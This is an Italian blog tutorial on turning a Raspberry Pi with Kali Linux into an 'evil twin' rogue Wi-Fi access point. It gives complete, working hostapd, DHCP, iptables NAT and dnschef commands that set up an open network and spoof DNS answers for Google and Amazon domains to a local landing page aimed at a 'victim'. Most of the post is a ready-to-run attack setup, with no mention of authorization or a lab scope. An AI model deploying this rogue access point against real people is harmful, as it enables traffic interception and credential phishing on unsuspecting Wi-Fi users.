EvilRasp

EvilRasp

In questo articolo troverete una piccola guida che vi permetterà di trasformare la vostra RaspBerry (nel mio caso Pi3 model B) in un piccolo Evil Twin.

An evil twin is a fraudulent Wi-Fi access point that appears to be legitimate but is set up to eavesdrop on wireless communications.[1] The evil twin is the wireless LAN equivalent of the phishing scam.This type of attack may be used to steal the passwords of unsuspecting users, either by monitoring their connections or by phishing, which involves setting up a fraudulent web site and luring people there.

fonte https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks)

La tecnica che andremo ad utilizzare in questo articolo è quella del DNS Spoofing, facente parte della famiglia di attacchi Man In The Middle (MITM).

Quest’attacco permette la manipolazione delle query DNS effettuate dalla “vittima”, con lo scopo di inviare false risposte

Nello schema che segue la query DNS “chi è google?” fatta dal client viene correttamente instradata

Qui invece la query DNS “chi è google?” fatta dal client, viene manipolata dal nostro evil twin che manderà indietro una falsa risposta

Esistono vari modi / tool che permettono la creazione di un evil twin, nel mio caso ho voluto provare ad utilizzare i seguenti :

  • hostapd
  • isc-dhcp-server
  • dnschef

Il primo step è quello di scaricare una distro, nel mio caso ho scelto KALI per ARM (avendo già preinstallati al sui interno la maggior parte dei tool che andremo ad utilizzare)

Una volta scaricata la dovremo “Flashare” su di una SD (nel mio caso un sandisk da 16GB), per farlo ho utilizzato BalenaEtcher

Dopo aver “Flashato” la distro sul SD possiamo andare ad inserirla nella nostra Raspberry,accendere il tutto e collegarci via ssh




User & Password di default = kali/kali

Una volta collegati procediamo all’aggiornamento della distro dando i seguenti comandi :

  • apt update -y
  • apt upgrade -y

Dopo aver aggiornato la nostra rasp, possiamo andare a creare una landing page che uscirà in risposta alle query DNS fatte dalla “vittima”

In Kali abbiamo già installato apache2 e per questo motivo sotto /var/www/html troveremo già i file di default che possiamo andare a modificare.

Nel mio caso ho semplicemente caricato un’immagine “STACCA.PNG” e modificato l’index.html

Una volta effettuate le modifiche non bisogna far nient’altro che avviare il “web server”,dando il comando service apache2 start

Ora se proviamo ad andare su http://”ipraspberry” ci comparirà la nostra landing page

Il prossimo passo è quello di trasformare la nostra Rasp in un Access Point, per poterlo fare andremo ad installare ed utilizzare hostapd, in combinazione alla seguente scheda Wifi Esterna (anche se il modello di Rasp che sto utilizzando ha una sua scheda wifi integrata)

Procediamo all’installazione di “hostapd” con il comando :

  • apt-get install hostapd

Dopodiché andiamolo a configurare:

  • vi /etc/hostapd/hostapd.conf

#indichiamo l’interfaccia che hostapd utilizzerà

interface=wlan 1

#indichiamo i driver che hostapd utilizzerà

driver=nl80211

#indichiamo il nome della rete Wifi che andremo a creare

ssid=”EvilOpenWifi”

#usiamo la banda di 2.4GHz

hw_mode=g

#usiamo il canale 6

channel=6

#abilitiamo 802.11n

ieee80211n=1

#abilitiamo WMM

wmm_enabled=1

#accettiamo tutti gli indirizzi MAC

macaddr_acl=0

#richiediamo al client di riconoscere il nome della rete

ignore_broadcast_ssid=0

#Impostiamo la rete senza autenticazione quindi Open

wpa=0

Ora configuriamo il demone di hostapd andando ad indicargli di aprire il file .conf precedentemente configurato

  • vi /etc/default/hostapd

DAEMON_CONF=”/etc/hostapd/hostapd.conf”

Se lo si desidera si può andare a testare il corretto funzionamento delle configurazioni appena salvate con il comando :

  • /usr/sbin/hostapd /etc/hostapd/hostapd.conf

Ora andiamo ad installare il nostro server DHCP, nel mio caso ho utilizzato isc-dhcp-server

  • apt-get install isc-dhcp-server

Per configurare il nostro server DHCP

  • vi /etc/dhcp/dhcpd.conf

authoritative;
subnet 10.10.10.0 netmask 255.255.255.0
{range 10.10.10.10 10.10.10.250;
option routers 10.10.10.1;
option broadcast-address 10.10.10.255;
default-lease-time 600;
max-lease-time 7200;
option domain-name “local”;
option domain-name-servers 10.10.10.1;
log-facility local7;}

  • vi /etc/default/isc-dhcp-server

INTERFACES=”wlan1″

Mettiamo down l’interfaccia wlan1 (la nostra scheda Wifi esterna)

  • ifconfig wlan1 down

Settiamola in static mode

  • vi /etc/network/interfaces

iface wlan1 inet static

address 10.10.10.1

netmask 255.255.255.0

  • vi /etc/dhcpcd.conf

interface wlan1

static ip_address=10.10.10.1/24

Assegniamo un ip all’interfaccia Wifi che fungerà da Hotspot e riportiamola up

  • ifconfig wlan1 10.10.10.1 up

Ora sia il DHCP che l’interfaccia sono state configurate, dobbiamo andare ad abilitate l’inoltro dei pacchetti settando ipv4 forward

Per farlo basterà de-commentarenet.ipv4.ip_forward=1” qui :

  • vi /etc/sysctl.conf

Fatto ciò dovremmo andare ad abilitare il NAT che permetta ai pacchetti in entrata dalla wlan1 di uscire verso “internet” tramite l’interfaccia eth0.

Prima di farlo però installiamo un servizio che ci permetterà di salvare,in maniera persistente, le regole iptables che andremo a fare più avanti:

  • apt-get install iptables-persistent
  • service netfilter-persistent start
  • update-rc.d netfilter-persistent enable

Ora possiamo configurare l’iptables come segue :

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan1 -m state –state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT

Salviamo le configurazioni Iptables il comando:

  • iptables-save > /etc/iptables/rules.v4

Ora avviamo sia il nostro hotspot che il nostro DHCP server con i comandi :

  • service hostapd start
  • service isc-dhcp-server start

Adesso possiamo andare a predisporre il tool che manipolerà le chiamate DNS della “vittima” collegata al nostro Evil Twin

Il tool che ho scelto in questo caso è “dnschef” ed il comando che andrò a dare sarà :

dnschef –fakeip=10.10.10.1 –interface=10.10.10.1 –fakedomains=*.google.com,*.google.it, *.amazon.com,*.amazon.it,*.pippopluto.com

–fakeip # inserire l’ip del DNS server che risponderà alle richieste DNS

–interface #inserire l’ip dell’interfaccia in ascolto

–fakedomains #inserire il/i domini che saranno intercettati

Come possiamo vedere dallo screen le chiamate verso *google.com vengono intercettate ed inviate verso 10.10.10.1 (cooking) mentre tutte le altre vengono proxate e inviate al nameservers di google 8.8.8.8 (proxying)

Questo è quello che la vittima vedrà accadere sul suo device:

Rispondi

Effettua il login con uno di questi metodi per inviare il tuo commento:

Logo di WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Google photo

Stai commentando usando il tuo account Google. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...

Questo sito utilizza Akismet per ridurre lo spam. Scopri come vengono elaborati i dati derivati dai commenti.